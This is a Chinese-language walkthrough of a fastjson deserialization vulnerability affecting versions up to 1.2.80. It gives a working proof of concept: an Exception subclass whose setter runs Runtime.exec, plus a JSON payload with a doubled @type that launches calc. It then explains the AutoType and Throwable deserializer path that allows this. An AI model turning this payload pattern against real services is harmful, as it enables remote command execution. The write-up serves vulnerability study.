在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上可以说是标准的数据交换格式。fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。
jdk 1.8(JAVA SE 8)
fastjson <= 1.2.80(本次使用1.2.75)
新建maven项目,pom.xml中添加依赖:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.75</version>
</dependency>
</dependencies>
项目中添加两个Java类
Poc.java:
import java.io.IOException;
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
PocDemo.java:
import com.alibaba.fastjson.JSON;
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"Poc\",\"name\":\"calc\"}";
JSON.parse(json);
}
}
运行结果如下:
Fastjson支持AutoType的功能,启用该功能后,可以为每个用户entry引入类型。
当JSON.parseObject()被调用时,它最终会调用到 DefaultJSONParser.parseObject(),并且传入参数 object 为 JSONObject,fieldName 为 null。当这个方法遇到“@type”这个符号(JSON.DEFAULT_TYPE_KEY)时,就会调用config.checkAutoType:
最终,在所有flag都是默认的情况下,代码会调用至config.checkAutoType()。在这里,我们可以看到因为被列入黑名单而无法通过AutoType 机制实例化的类列表。
最后,代码将尝试找到一个反序列化器deserializer,用来对这个已经被JSON序列化的类进行反序列化。
在 ParserConfig.getDeserializer()内部,有一个关键检查,用于验证目标类是否继承了 Throwable 类:
ThrowableDeserializer.deserialize()会处理这种数据。如果存在“@type”,它将使用 autoTypeCheck()检查并继续正常反序列化:
因此,漏洞的核心在于 ,只要目标类继承自 Throwable 类,Fastjson便可以反序列化为任意类!
在这种情况下,负责创建反序列化类的函数是 createException(),它处理了 3 种不同类型的构造函数。一个没有任何参数,一个带有异常消息的参数,一个带有异常消息和异常原因参数。在此之后,它将先尝试调用更为复杂的构造函数(causeConstructor、messageConstructor 和 defaultConstructor):
作为类实例化的一步,还会为每个相关成员变量调用一个 setter方法: